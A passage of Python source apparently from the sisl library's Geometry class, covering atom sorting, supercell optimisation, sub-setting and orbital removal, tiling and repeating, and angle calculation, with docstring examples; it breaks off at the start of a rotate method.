1)\n\n Sort according to :math:`x` coordinate\n\n >>> geom.sort(axis=0)\n\n Sort according to :math:`z`, then :math:`x` for each group created from first sort\n\n >>> geom.sort(axis=(2, 0))\n\n Sort according to :math:`z`, then first lattice vector\n\n >>> geom.sort(axis=2, lattice=0)\n\n Sort according to :math:`z` (ascending), then first lattice vector (descending)\n\n >>> geom.sort(axis=2, ascend=False, lattice=0)\n\n Sort according to :math:`z` (descending), then first lattice vector (ascending)\n Note how integer suffixes has no importance.\n\n >>> geom.sort(ascend1=False, axis=2, ascend0=True, lattice=0)\n\n Sort only atoms ``range(1, 5)`` first by :math:`z`, then by first lattice vector\n\n >>> geom.sort(axis=2, lattice=0, atoms=np.arange(1, 5))\n\n Sort two groups of atoms ``[range(1, 5), range(5, 10)]`` (individually) by :math:`z` coordinate\n\n >>> geom.sort(axis=2, atoms=[np.arange(1, 5), np.arange(5, 10)])\n\n The returned sorting indices may be used for manual sorting. Note\n however, that this requires one to perform a sorting for all atoms.\n In such a case the following sortings are equal.\n\n >>> geom0, atoms0 = geom.sort(axis=2, lattice=0, ret_atoms=True)\n >>> _, atoms1 = geom.sort(axis=2, ret_atoms=True)\n >>> geom1, atoms1 = geom.sort(lattice=0, atoms=atoms1, ret_atoms=True)\n >>> geom2 = geom.sub(np.concatenate(atoms0))\n >>> geom3 = geom.sub(np.concatenate(atoms1))\n >>> assert geom0 == geom1\n >>> assert geom0 == geom2\n >>> assert geom0 == geom3\n\n Default sorting is equivalent to ``axis=(0, 1, 2)``\n\n >>> assert geom.sort() == geom.sort(axis=(0, 1, 2))\n\n Sort along a user defined vector ``[2.2, 1., 0.]``\n\n >>> geom.sort(vector=[2.2, 1., 0.])\n\n Integer specification has no influence on the order of operations.\n It is _always_ the keyword argument order that determines the operation.\n\n >>> assert geom.sort(axis2=1, axis0=0, axis1=2) == geom.sort(axis=(1, 0, 2))\n\n Sort by atomic numbers\n\n >>> geom.sort(group='Z') # 5, 6, 7\n\n One may group several elements together on an equal footing (``None`` means all non-mentioned elements)\n The order of the groups are important (the first two are _not_ equal, the last three _are_ equal)\n\n >>> geom.sort(group=('symbol', 'C'), axis=2) # C will be sorted along z\n >>> geom.sort(axis=1, atoms='C', axis1=2) # all along y, then C sorted along z\n >>> geom.sort(group=('symbol', 'C', None)) # C, [B, N]\n >>> geom.sort(group=('symbol', None, 'C')) # [B, N], C\n >>> geom.sort(group=('symbol', ['N', 'B'], 'C')) # [B, N], C (B and N unaltered order)\n >>> geom.sort(group=('symbol', ['B', 'N'], 'C')) # [B, N], C (B and N unaltered order)\n\n A group based sorting can use *anything* that can be fetched from the `Atom` object,\n sort first according to mass, then for all with the same mass, sort according to atomic\n tag:\n\n >>> geom.sort(group0='mass', group1='tag')\n\n A too high `atol` may have unexpected side-effects. This is because of the way\n the sorting algorithm splits the sections for nested sorting.\n So for coordinates with a continuous displacement the sorting may break and group\n a large range into 1 group. Consider the following array to be split in groups\n while sorting.\n\n An example would be a linear chain with a middle point with a much shorter distance.\n\n >>> x = np.arange(5) * 0.1\n >>> x[3:] -= 0.095\n y = z = np.zeros(5)\n geom = si.Geometry(np.stack((x, y, z), axis=1))\n >>> geom.xyz[:, 0]\n [0. 0.1 0.2 0.205 0.305]\n\n In this case a high tolerance (``atol>0.005``) would group atoms 2 and 3\n together\n\n >>> geom.sort(atol=0.01, axis=0, ret_atoms=True)[1]\n [[0], [1], [2, 3], [4]]\n\n However, a very low tolerance will not find these two as atoms close\n to each other.\n\n >>> geom.sort(atol=0.001, axis=0, ret_atoms=True)[1]\n [[0], [1], [2], [3], [4]]\n \"\"\"\n\n # We need a way to easily handle nested lists\n # This small class handles lists and allows appending nested lists\n # while flattening them.\n class NestedList:\n __slots__ = (\"_idx\",)\n\n def __init__(self, idx=None, sort=False):\n self._idx = []\n if not idx is None:\n self.append(idx, sort)\n\n def append(self, idx, sort=False):\n if isinstance(idx, (tuple, list, ndarray)):\n if isinstance(idx[0], (tuple, list, ndarray)):\n for ix in idx:\n self.append(ix, sort)\n return\n elif isinstance(idx, NestedList):\n idx = idx.tolist()\n if len(idx) > 0:\n if sort:\n self._idx.append(np.sort(idx))\n else:\n self._idx.append(np.asarray(idx))\n\n def __iter__(self):\n yield from self._idx\n\n def __len__(self):\n return len(self._idx)\n\n def ravel(self):\n if len(self) == 0:\n return np.array([], dtype=np.int64)\n return concatenate([i for i in self]).ravel()\n\n def tolist(self):\n return self._idx\n\n def __str__(self):\n if len(self) == 0:\n return f\"{self.__class__.__name__}{{empty}}\"\n out = \",\\n \".join(map(lambda x: str(x.tolist()), self))\n return f\"{self.__class__.__name__}{{\\n {out}}}\"\n\n def _sort(val, atoms, **kwargs):\n \"\"\"We do not sort according to lexsort\"\"\"\n if len(val) <= 1:\n # no values to sort\n return atoms\n\n # control ascend vs descending\n ascend = kwargs[\"ascend\"]\n atol = kwargs[\"atol\"]\n\n new_atoms = NestedList()\n for atom in atoms:\n if len(atom) <= 1:\n # no need for complexity\n new_atoms.append(atom)\n continue\n\n # Sort values\n jdx = atom[argsort(val[atom])]\n if ascend:\n d = diff(val[jdx]) > atol\n else:\n jdx = jdx[::-1]\n d = diff(val[jdx]) < -atol\n new_atoms.append(split(jdx, d.nonzero()[0] + 1), sort=True)\n return new_atoms\n\n # Functions allowed by external users\n funcs = dict()\n\n def _axis(axis, atoms, **kwargs):\n \"\"\"Cartesian coordinate sort\"\"\"\n if isinstance(axis, int):\n axis = (axis,)\n for ax in axis:\n atoms = _sort(self.xyz[:, ax], atoms, **kwargs)\n return atoms\n\n funcs[\"axis\"] = _axis\n\n def _lattice(lattice, atoms, **kwargs):\n \"\"\"\n We scale the fractional coordinates with the lattice vector length.\n This ensures `atol` has a meaningful size for very large structures.\n \"\"\"\n if isinstance(lattice, int):\n lattice = (lattice,)\n fxyz = self.fxyz\n for ax in lattice:\n atoms = _sort(fxyz[:, ax] * self.lattice.length[ax], atoms, **kwargs)\n return atoms\n\n funcs[\"lattice\"] = _lattice\n\n def _vector(vector, atoms, **kwargs):\n \"\"\"\n Calculate fraction of positions along a vector and sort along it.\n We first normalize the vector to ensure that `atol` is meaningful\n for very large structures (ensures scale is on the order of Ang).\n\n A vector projection will only be equivalent to lattice projection\n when a lattice vector is orthogonal to the other lattice vectors.\n \"\"\"\n # Ensure we are using a copied data array\n vector = _a.asarrayd(vector).copy()\n # normalize\n vector /= fnorm(vector)\n # Perform a . b^ == scalar projection\n return _sort(self.xyz.dot(vector), atoms, **kwargs)\n\n funcs[\"vector\"] = _vector\n\n def _funcs(funcs, atoms, **kwargs):\n \"\"\"\n User defined function (tuple/list of function)\n \"\"\"\n\n def _func(func, atoms, kwargs):\n nl = NestedList()\n for atom in atoms:\n # TODO add check that\n # res = func(...) in a\n # A user *may* remove an atom from the sorting here (but\n # that negates all sorting of that atom)\n nl.append(func(self, atom, **kwargs))\n return nl\n\n if callable(funcs):\n funcs = [funcs]\n for func in funcs:\n atoms = _func(func, atoms, kwargs)\n return atoms\n\n funcs[\"func\"] = _funcs\n\n def _func_sort(funcs, atoms, **kwargs):\n \"\"\"\n User defined function, but using internal sorting\n \"\"\"\n if callable(funcs):\n funcs = [funcs]\n for func in funcs:\n atoms = _sort(func(self), atoms, **kwargs)\n return atoms\n\n funcs[\"func_sort\"] = _func_sort\n\n def _group_vals(vals, groups, atoms, **kwargs):\n \"\"\"\n vals should be of size len(self) and be parsable\n by numpy\n \"\"\"\n nl = NestedList()\n\n # Create unique list of values\n uniq_vals = np.unique(vals)\n if len(groups) == 0:\n # fake the groups argument\n groups = [[i] for i in uniq_vals]\n else:\n # Check if one of the elements of group is None\n # In this case we replace it with the missing rest\n # of the missing unique items\n try:\n none_idx = groups.index(None)\n\n # we have a None (ensure we use a list, tuples are\n # immutable)\n groups = list(groups)\n groups[none_idx] = []\n\n uniq_groups = np.unique(concatenate(groups))\n # add a new group that is in uniq_vals, but not in uniq_groups\n rest = uniq_vals[isin(uniq_vals, uniq_groups, invert=True)]\n groups[none_idx] = rest\n except ValueError:\n # there is no None in the list\n pass\n\n for at in atoms:\n # reduce search\n at_vals = vals[at]\n # loop group values\n for group in groups:\n # retain original indexing\n nl.append(at[isin(at_vals, group)])\n return nl\n\n def _group(method_group, atoms, **kwargs):\n \"\"\"\n Group based sorting is based on a named identification.\n\n group: str or tuple of (str, list of lists)\n\n symbol: order by symbol (most cases same as Z)\n Z: order by atomic number\n tag: order by atom tag (should be the same as specie)\n specie/species: order by specie (in order of contained in the Geometry)\n \"\"\"\n # Create new list\n nl = NestedList()\n\n if isinstance(method_group, str):\n method = method_group\n groups = []\n elif isinstance(method_group[0], str):\n method, *in_groups = method_group\n\n # Ensure all groups are lists\n groups = []\n NoneType = type(None)\n for group in in_groups:\n if isinstance(group, (tuple, list, ndarray, NoneType)):\n groups.append(group)\n else:\n groups.append([group])\n else:\n # a special case where group is a list of lists\n # i.e. [[0, 1, 2], [3, 4, 5]]\n for idx in method_group:\n idx = self._sanitize_atoms(idx)\n for at in atoms:\n nl.append(at[isin(at, idx)])\n return nl\n\n # See if the attribute exists for the atoms\n if method.lower() == \"species\":\n # this one has two spelling options!\n method = \"specie\"\n\n # now get them through `getattr`\n if hasattr(self.atoms[0], method):\n vals = [getattr(a, method) for a in self.atoms]\n\n elif hasattr(self.atoms[0], method.lower()):\n method = method.lower()\n vals = [getattr(a, method) for a in self.atoms]\n\n else:\n raise ValueError(\n f\"{self.__class__.__name__}.sort group only supports attributes that can be fetched from Atom objects, some are [Z, species, tag, symbol, mass, ...] and more\"\n )\n\n return _group_vals(np.array(vals), groups, atoms, **kwargs)\n\n funcs[\"group\"] = _group\n\n def stripint(s):\n \"\"\"Remove integers from end of string -> Allow multiple arguments\"\"\"\n if s[-1] in \"0123456789\":\n return stripint(s[:-1])\n return s\n\n # Now perform cumultative sort function\n # Our point is that we would like to allow users to do consecutive sorting\n # based on different keys\n\n # We also allow specific keys for specific methods\n func_kw = dict()\n func_kw[\"ascend\"] = True\n func_kw[\"atol\"] = 1e-9\n\n def update_flag(kw, arg, val):\n if arg in [\"ascending\", \"ascend\"]:\n kw[\"ascend\"] = val\n return True\n elif arg in [\"descending\", \"descend\"]:\n kw[\"ascend\"] = not val\n return True\n elif arg == \"atol\":\n kw[\"atol\"] = val\n return True\n return False\n\n # Default to all atoms\n atoms = NestedList(self._sanitize_atoms(kwargs.pop(\"atoms\", None)))\n ret_atoms = kwargs.pop(\"ret_atoms\", False)\n\n # In case the user just did geometry.sort, it will default to sort x, y, z\n if len(kwargs) == 0:\n kwargs[\"axis\"] = (0, 1, 2)\n\n for key_int, method in kwargs.items():\n key = stripint(key_int)\n if update_flag(func_kw, key, method):\n continue\n if not key in funcs:\n raise ValueError(\n f\"{self.__class__.__name__}.sort unrecognized keyword '{key}' ('{key_int}')\"\n )\n # call sorting algorithm and retrieve new grouped sorting\n atoms = funcs[key](method, atoms, **func_kw)\n\n # convert to direct list\n atoms_flat = atoms.ravel()\n\n # Ensure that all atoms are present\n if len(atoms_flat) != len(self):\n all_atoms = _a.arangei(len(self))\n all_atoms[np.sort(atoms_flat)] = atoms_flat[:]\n atoms_flat = all_atoms\n\n if ret_atoms:\n return self.sub(atoms_flat), atoms.tolist()\n return self.sub(atoms_flat)\n\n def optimize_nsc(\n self,\n axes: Optional[Union[int, Sequence[int]]] = None,\n R: Optional[float] = None,\n ) -> ndarray:\n \"\"\"Optimize the number of supercell connections based on ``self.maxR()``\n\n After this routine the number of supercells may not necessarily be the same.\n\n This is an in-place operation.\n\n Parameters\n ----------\n axes :\n only optimize the specified axes (default to all)\n R :\n the maximum connection radius for each atom\n \"\"\"\n if axes is None:\n axes = [0, 1, 2]\n else:\n axes = _a.asarrayi(axes).ravel()\n if len(axes) == 0:\n return self.nsc\n\n if R is None:\n R = self.maxR() + 0.001\n if R < 0:\n R = 0.00001\n warn(\n f\"{self.__class__.__name__}\"\n \".optimize_nsc could not determine the radius from the \"\n \"internal atoms (defaulting to zero radius).\"\n )\n\n ic = self.icell\n nrc = 1 / fnorm(ic)\n idiv = floor(np.maximum(nrc / (2 * R), 1.1)).astype(np.int32, copy=False)\n imcell = ic * idiv.reshape(-1, 1)\n\n # We know this is the maximum\n nsc = self.nsc.copy()\n # We need to subtract one to ensure we are not taking into account\n # too big supercell connections.\n # I don't think we need anything other than this.\n # However, until I am sure that this wouldn't change, regardless of the\n # cell. I will keep it.\n Rimcell = R * fnorm(imcell)[axes]\n nsc[axes] = (floor(Rimcell) + ceil(Rimcell % 0.5 - 0.5)).astype(np.int32)\n # Since for 1 it is not sure that it is a connection or not, we limit the search by\n # removing it.\n nsc[axes] = np.where(nsc[axes] > 1, nsc[axes], 0)\n for i in axes:\n # Initialize the isc for this direction\n # (note we do not take non-orthogonal directions\n # into account)\n isc = _a.zerosi(3)\n isc[i] = nsc[i]\n # Initialize the actual number of supercell connections\n # along this direction.\n prev_isc = isc[i]\n while prev_isc == isc[i]:\n # Try next supercell connection\n isc[i] += 1\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n for ia in self:\n idx = self.close_sc(ia, isc=isc, R=R)\n if len(idx) > 0:\n prev_isc = isc[i]\n break\n\n # Save the reached supercell connection\n nsc[i] = prev_isc * 2 + 1\n\n self.set_nsc(nsc)\n\n return nsc\n\n def sub(self, atoms: AtomsArgument) -> Geometry:\n \"\"\"Create a new `Geometry` with a subset of this `Geometry`\n\n Indices passed *MUST* be unique.\n\n Negative indices are wrapped and thus works.\n\n Parameters\n ----------\n atoms : int or array_like\n indices/boolean of all atoms to be removed\n\n See Also\n --------\n Lattice.fit : update the supercell according to a reference supercell\n remove : the negative of this routine, i.e. remove a subset of atoms\n \"\"\"\n atoms = self.sc2uc(atoms)\n return self.__class__(\n self.xyz[atoms, :], atoms=self.atoms.sub(atoms), lattice=self.lattice.copy()\n )\n\n def sub_orbital(self, atoms: AtomsArgument, orbitals: OrbitalsArgument) -> Geometry:\n r\"\"\"Retain only a subset of the orbitals on `atoms` according to `orbitals`\n\n This allows one to retain only a given subset of geometry.\n\n Parameters\n ----------\n atoms : array_like of int or Atom\n indices of atoms or `Atom` that will be reduced in size according to `orbitals`\n orbitals : array_like of int or Orbital\n indices of the orbitals on `atoms` that are retained in the geometry, the list of\n orbitals will be sorted.\n\n Notes\n -----\n Future implementations may allow one to re-arange orbitals using this method.\n\n When using this method the internal species list will be populated by another specie\n that is named after the orbitals removed. This is to distinguish different atoms.\n\n Examples\n --------\n\n >>> # a Carbon atom with 2 orbitals\n >>> C = sisl.Atom('C', [1., 2.])\n >>> # an oxygen atom with 3 orbitals\n >>> O = sisl.Atom('O', [1., 2., 2.4])\n >>> geometry = sisl.Geometry([[0] * 3, [1] * 3]], 2, [C, O])\n\n Now ``geometry`` is a geometry with 2 different species and 6 atoms (3 of each).\n They are ordered ``[C, O, C, O, C, O]``. In the following we\n will note species that are different from the original by a ``'`` in the list.\n\n Retain 2nd orbital on the 2nd atom: ``[C, O', C, O, C, O]``\n\n >>> new_geom = geometry.sub_orbital(1, 1)\n\n Retain 2nd orbital on 1st and 2nd atom: ``[C', O', C, O, C, O]``\n\n >>> new_geom = geometry.sub_orbital([0, 1], 1)\n\n Retain 2nd orbital on the 1st atom and 3rd orbital on 4th atom: ``[C', O, C, O', C, O]``\n\n >>> new_geom = geometry.sub_orbital(0, 1).sub_orbital(3, 2)\n\n Retain 2nd orbital on all atoms equivalent to the first atom: ``[C', O, C', O, C', O]``\n\n >>> new_geom = geometry.sub_orbital(obj.geometry.atoms[0], 1)\n\n Retain 1st orbital on 1st atom, and 2nd orbital on 3rd and 5th atom: ``[C', O, C'', O, C'', O]``\n\n >>> new_geom = geometry.sub_orbital(0, 0).sub_orbital([2, 4], 1)\n\n See Also\n --------\n remove_orbital : removing a set of orbitals (opposite of this)\n \"\"\"\n atoms = self._sanitize_atoms(atoms).ravel()\n\n # Figure out if all atoms have the same species\n specie = self.atoms.specie[atoms]\n uniq_specie, indices = unique(specie, return_inverse=True)\n if len(uniq_specie) > 1:\n # In case there are multiple different species but one wishes to\n # retain the same orbital index, then we loop on the unique species\n new = self\n for i in range(uniq_specie.size):\n idx = (indices == i).nonzero()[0]\n # now determine whether it is the whole atom\n # or only part of the geometry\n new = new.sub_orbital(atoms[idx], orbitals)\n return new\n\n # At this point we are sure that uniq_specie is *only* one specie!\n geom = self.copy()\n\n # Get the atom object we wish to reduce\n old_atom = geom.atoms[atoms[0]]\n old_atom_specie = geom.atoms.specie_index(old_atom)\n old_atom_count = (geom.atoms.specie == old_atom_specie).sum()\n\n if isinstance(orbitals, (Orbital, Integral)):\n orbitals = [orbitals]\n if isinstance(orbitals[0], Orbital):\n orbitals = [old_atom.index(orb) for orb in orbitals]\n orbitals = np.sort(orbitals)\n\n if len(orbitals) == 0:\n raise ValueError(\n f\"{self.__class__.__name__}.sub_orbital trying to retain 0 orbitals on a given atom. This is not allowed!\"\n )\n\n # create the new atom\n new_atom = old_atom.sub(orbitals)\n # Rename the new-atom to <>_1_2 for orbital == [1, 2]\n new_atom._tag += \"_\" + \"_\".join(map(str, orbitals))\n\n # There are now 2 cases.\n # 1. we replace all atoms of a given specie\n # 2. we replace a subset of atoms of a given specie\n if len(atoms) == old_atom_count:\n # We catch the warning about reducing the number of orbitals!\n with warnings.catch_warnings():\n warnings.filterwarnings(\"ignore\")\n # this is in-place operation and we don't need to worry about\n geom.atoms.replace_atom(old_atom, new_atom)\n\n else:\n # we have to add the new one (in case it does not exist)\n try:\n new_atom_specie = geom.atoms.specie_index(new_atom)\n except Exception:\n new_atom_specie = geom.atoms.nspecie\n # the above checks that it is indeed a new atom\n geom._atoms._atom.append(new_atom)\n # transfer specie index\n geom.atoms._specie[atoms] = new_atom_specie\n geom.atoms._update_orbitals()\n\n return geom\n\n def remove(self, atoms: AtomsArgument) -> Geometry:\n \"\"\"Remove atoms from the geometry.\n\n Indices passed *MUST* be unique.\n\n Negative indices are wrapped and thus works.\n\n Parameters\n ----------\n atoms : int or array_like\n indices/boolean of all atoms to be removed\n\n See Also\n --------\n sub : the negative of this routine, i.e. retain a subset of atoms\n \"\"\"\n atoms = self.sc2uc(atoms)\n if atoms.size == 0:\n return self.copy()\n atoms = np.delete(_a.arangei(self.na), atoms)\n return self.sub(atoms)\n\n def remove_orbital(\n self, atoms: AtomsArgument, orbitals: OrbitalsArgument\n ) -> Geometry:\n \"\"\"Remove a subset of orbitals on `atoms` according to `orbitals`\n\n For more detailed examples, please see the equivalent (but opposite) method\n `sub_orbital`.\n\n Parameters\n ----------\n atoms : array_like of int or Atom\n indices of atoms or `Atom` that will be reduced in size according to `orbitals`\n orbitals : array_like of int or Orbital\n indices of the orbitals on `atoms` that are removed from the geometry.\n\n See Also\n --------\n sub_orbital : retaining a set of orbitals (see here for examples)\n \"\"\"\n # Get specie index of the atom (convert to list of indices)\n atoms = self._sanitize_atoms(atoms).ravel()\n\n # Figure out if all atoms have the same species\n specie = self.atoms.specie[atoms]\n uniq_specie, indices = unique(specie, return_inverse=True)\n if len(uniq_specie) > 1:\n # In case there are multiple different species but one wishes to\n # retain the same orbital index, then we loop on the unique species\n new = self\n for i in range(uniq_specie.size):\n idx = (indices == i).nonzero()[0]\n # now determine whether it is the whole atom\n # or only part of the geometry\n new = new.remove_orbital(atoms[idx], orbitals)\n return new\n\n # Get the atom object we wish to reduce\n # We know np.all(geom.atoms[atom] == old_atom)\n old_atom = self.atoms[atoms[0]]\n\n if isinstance(orbitals, (Orbital, Integral)):\n orbitals = [orbitals]\n if isinstance(orbitals[0], Orbital):\n orbitals = [old_atom.index(orb) for orb in orbitals]\n orbitals = np.delete(_a.arangei(len(old_atom)), np.asarray(orbitals).ravel())\n orbitals = np.sort(orbitals)\n\n # now call sub_orbital\n return self.sub_orbital(atoms, orbitals)\n\n def unrepeat(self, reps: int, axis: int, *args, **kwargs) -> Geometry:\n \"\"\"Unrepeats the geometry similarly as `untile`\n\n Please see `untile` for argument details, the algorithm and arguments are the same however,\n this is the opposite of `repeat`.\n \"\"\"\n atoms = np.arange(self.na).reshape(-1, reps).T.ravel()\n return self.sub(atoms).untile(reps, axis, *args, **kwargs)\n\n def untile(\n self,\n reps: int,\n axis: int,\n segment: int = 0,\n rtol: float = 1e-4,\n atol: float = 1e-4,\n ) -> Geometry:\n \"\"\"A subset of atoms from the geometry by cutting the geometry into `reps` parts along the direction `axis`.\n\n This will effectively change the unit-cell in the `axis` as-well\n as removing ``self.na/reps`` atoms.\n It requires that ``self.na % reps == 0``.\n\n REMARK: You need to ensure that all atoms within the first\n cut out region are within the primary unit-cell.\n\n Doing ``geom.untile(2, 1).tile(2, 1)``, could for symmetric setups,\n be equivalent to a no-op operation. A ``UserWarning`` will be issued\n if this is not the case.\n\n This method may be regarded as the opposite of `tile`.\n\n Parameters\n ----------\n reps :\n number of times the structure will be cut (untiled)\n axis :\n the axis that will be cut\n segment :\n returns the i'th segment of the untiled structure\n Currently the atomic coordinates are not translated,\n this may change in the future.\n rtol :\n directly passed to `numpy.allclose`\n atol :\n directly passed to `numpy.allclose`\n\n Examples\n --------\n >>> g = sisl.geom.graphene()\n >>> gxyz = g.tile(4, 0).tile(3, 1).tile(2, 2)\n >>> G = gxyz.untile(2, 2).untile(3, 1).untile(4, 0)\n >>> np.allclose(g.xyz, G.xyz)\n True\n\n See Also\n --------\n tile : opposite method of this\n \"\"\"\n if self.na % reps != 0:\n raise ValueError(\n f\"{self.__class__.__name__}.untile \"\n f\"cannot be cut into {reps} different \"\n \"pieces. Please check your geometry and input.\"\n )\n # Truncate to the correct segments\n lseg = segment % reps\n # Cut down cell\n lattice = self.lattice.untile(reps, axis)\n # List of atoms\n n = self.na // reps\n off = n * lseg\n new = self.sub(_a.arangei(off, off + n))\n new.set_lattice(lattice)\n if not np.allclose(new.tile(reps, axis).xyz, self.xyz, rtol=rtol, atol=atol):\n warn(\n \"The cut structure cannot be re-created by tiling\\n\"\n \"The tolerance between the coordinates can be altered using rtol, atol\"\n )\n return new\n\n def tile(self, reps: int, axis: int) -> Geometry:\n \"\"\"Tile the geometry to create a bigger one\n\n The atomic indices are retained for the base structure.\n\n Tiling and repeating a geometry will result in the same geometry.\n The *only* difference between the two is the final ordering of the atoms.\n\n Parameters\n ----------\n reps :\n number of tiles (repetitions)\n axis :\n direction of tiling, 0, 1, 2 according to the cell-direction\n\n Examples\n --------\n >>> geom = Geometry([[0, 0, 0], [0.5, 0, 0]], lattice=1.)\n >>> g = geom.tile(2,axis=0)\n >>> print(g.xyz) # doctest: +NORMALIZE_WHITESPACE\n [[0. 0. 0. ]\n [0.5 0. 0. ]\n [1. 0. 0. ]\n [1.5 0. 0. ]]\n >>> g = geom.tile(2,0).tile(2,axis=1)\n >>> print(g.xyz) # doctest: +NORMALIZE_WHITESPACE\n [[0. 0. 0. ]\n [0.5 0. 0. ]\n [1. 0. 0. ]\n [1.5 0. 0. ]\n [0. 1. 0. ]\n [0.5 1. 0. ]\n [1. 1. 0. ]\n [1.5 1. 0. ]]\n\n See Also\n --------\n repeat : equivalent but different ordering of final structure\n untile : opposite method of this\n \"\"\"\n if reps < 1:\n raise ValueError(\n f\"{self.__class__.__name__}.tile requires a repetition above 0\"\n )\n\n lattice = self.lattice.tile(reps, axis)\n\n # Our first repetition *must* be with\n # the former coordinate\n xyz = np.tile(self.xyz, (reps, 1))\n # We may use broadcasting rules instead of repeating stuff\n xyz.shape = (reps, self.na, 3)\n nr = _a.arangei(reps)\n nr.shape = (reps, 1, 1)\n # Correct the unit-cell offsets\n xyz += nr * self.cell[axis, :]\n xyz.shape = (-1, 3)\n\n # Create the geometry and return it (note the smaller atoms array\n # will also expand via tiling)\n return self.__class__(xyz, atoms=self.atoms.tile(reps), lattice=lattice)\n\n def repeat(self, reps: int, axis: int) -> Geometry:\n \"\"\"Create a repeated geometry\n\n The atomic indices are *NOT* retained from the base structure.\n\n The expansion of the atoms are basically performed using this\n algorithm:\n\n >>> ja = 0\n >>> for ia in range(self.na):\n ... for id,r in args:\n ... for i in range(r):\n ... ja = ia + cell[id,:] * i\n\n For geometries with a single atom this routine returns the same as\n `tile`.\n\n Tiling and repeating a geometry will result in the same geometry.\n The *only* difference between the two is the final ordering of the atoms.\n\n Parameters\n ----------\n reps :\n number of repetitions\n axis :\n direction of repetition, 0, 1, 2 according to the cell-direction\n\n Examples\n --------\n >>> geom = Geometry([[0, 0, 0], [0.5, 0, 0]], lattice=1)\n >>> g = geom.repeat(2,axis=0)\n >>> print(g.xyz) # doctest: +NORMALIZE_WHITESPACE\n [[0. 0. 0. ]\n [1. 0. 0. ]\n [0.5 0. 0. ]\n [1.5 0. 0. ]]\n >>> g = geom.repeat(2,0).repeat(2,1)\n >>> print(g.xyz) # doctest: +NORMALIZE_WHITESPACE\n [[0. 0. 0. ]\n [0. 1. 0. ]\n [1. 0. 0. ]\n [1. 1. 0. ]\n [0.5 0. 0. ]\n [0.5 1. 0. ]\n [1.5 0. 0. ]\n [1.5 1. 0. ]]\n\n See Also\n --------\n tile : equivalent but different ordering of final structure\n \"\"\"\n if reps < 1:\n raise ValueError(\n f\"{self.__class__.__name__}.repeat requires a repetition above 0\"\n )\n\n lattice = self.lattice.repeat(reps, axis)\n\n # Our first repetition *must* be with\n # the former coordinate\n xyz = np.repeat(self.xyz, reps, axis=0)\n # We may use broadcasting rules instead of repeating stuff\n xyz.shape = (self.na, reps, 3)\n nr = _a.arangei(reps)\n nr.shape = (1, reps)\n for i in range(3):\n # Correct the unit-cell offsets along `i`\n xyz[:, :, i] += nr * self.cell[axis, i]\n xyz.shape = (-1, 3)\n\n # Create the geometry and return it\n return self.__class__(xyz, atoms=self.atoms.repeat(reps), lattice=lattice)\n\n def __mul__(self, m, method=\"tile\") -> Geometry:\n \"\"\"Implement easy tile/repeat function\n\n Parameters\n ----------\n m : int or tuple or list or (tuple, str) or (list, str)\n a tuple/list may be of length 2 or 3. A length of 2 corresponds\n to tuple[0] == *number of multiplications*, tuple[1] is the\n axis.\n A length of 3 corresponds to each of the directions.\n An optional string may be used to specify the `tile` or `repeat` function.\n The default is the `tile` function.\n\n Examples\n --------\n >>> geometry = Geometry([0.] * 3, lattice=[1.5, 3, 4])\n >>> geometry * 2 == geometry.tile(2, 0).tile(2, 1).tile(2, 2)\n True\n >>> geometry * [2, 1, 2] == geometry.tile(2, 0).tile(2, 2)\n True\n >>> geometry * [2, 2] == geometry.tile(2, 2)\n True\n >>> geometry * ([2, 1, 2], 'repeat') == geometry.repeat(2, 0).repeat(2, 2)\n True\n >>> geometry * ([2, 1, 2], 'r') == geometry.repeat(2, 0).repeat(2, 2)\n True\n >>> geometry * ([2, 0], 'r') == geometry.repeat(2, 0)\n True\n >>> geometry * ([2, 2], 'r') == geometry.repeat(2, 2)\n True\n\n See Also\n --------\n tile : specific method to enlarge the geometry\n repeat : specific method to enlarge the geometry\n \"\"\"\n # Simple form\n if isinstance(m, Integral):\n return self * [m, m, m]\n\n # Error in argument, fall-back\n if len(m) == 1:\n return self * m[0]\n\n # Look-up table\n method_tbl = {\"r\": \"repeat\", \"repeat\": \"repeat\", \"t\": \"tile\", \"tile\": \"tile\"}\n\n # Determine the type\n if len(m) == 2:\n # either\n # (r, axis)\n # ((...), method\n if isinstance(m[1], str):\n method = method_tbl[m[1]]\n m = m[0]\n\n g = self\n if len(m) == 1:\n # r\n m = m[0]\n for i in range(3):\n g = getattr(g, method)(m, i)\n\n elif len(m) == 2:\n # (r, axis)\n g = getattr(g, method)(m[0], m[1])\n\n elif len(m) == 3:\n # (r, r, r)\n for i in range(3):\n g = getattr(g, method)(m[i], i)\n\n else:\n raise ValueError(f\"Multiplying a geometry got an unexpected value: {m}\")\n\n return g\n\n def __rmul__(self, m) -> Geometry:\n \"\"\"Default to repeating the atomic structure\"\"\"\n return self.__mul__(m, \"repeat\")\n\n def angle(\n self, atoms: AtomsArgument, dir=(1.0, 0, 0), ref=None, rad: bool = False\n ) -> Union[float, ndarray]:\n r\"\"\"The angle between atom `atoms` and the direction `dir`, with possibility of a reference coordinate `ref`\n\n The calculated angle can be written as this\n\n .. math::\n \\alpha = \\arccos \\frac{(\\mathrm{atom} - \\mathrm{ref})\\cdot \\mathrm{dir}}\n {|\\mathrm{atom}-\\mathrm{ref}||\\mathrm{dir}|}\n\n and thus lies in the interval :math:`[0 ; \\pi]` as one cannot distinguish orientation without\n additional vectors.\n\n Parameters\n ----------\n atoms :\n indices/boolean of all atoms where angles should be calculated on\n dir : str, int or array_like, optional\n the direction from which the angle is calculated from, default to ``x``.\n An integer specifies the corresponding lattice vector as the direction.\n ref : int or array_like, optional\n the reference point from which the vectors are drawn, default to origin\n An integer species an atomic index.\n rad :\n whether the returned value is in radians\n \"\"\"\n xi = self.axyz(atoms)\n if isinstance(dir, (str, Integral)):\n dir = direction(dir, abc=self.cell, xyz=np.diag([1] * 3))\n else:\n dir = _a.asarrayd(dir)\n # Normalize so we don't have to have this in the\n # below formula\n dir = dir / fnorm(dir)\n\n if ref is None:\n pass\n elif isinstance(ref, Integral):\n xi -= self.axyz(ref)[None, :]\n else:\n xi -= _a.asarrayd(ref)[None, :]\n nx = sqrt(square(xi).sum(1))\n ang = np.zeros_like(nx)\n idx = (nx > 1e-6).nonzero()[0]\n ang[idx] = np.arccos(xi[idx] @ dir / nx[idx])\n if rad:\n return ang\n return np.degrees(ang)\n\n @deprecate_argument(\n \"only\",\n \"what\",\n \"argument only has been deprecated in favor of what, please update your code.\",\n \"0.14.0\",\n )\n def rotate(\n self,\n angle: float,\n v,\n origin=None,\n atoms: Optional[AtomsArgument] = None,\n rad: bool = False,\n what: Optional[str] = None,\n ) -> Geometry:\n r\"\"\"Rotate geometry around vector and return a new geometry\n\n Per 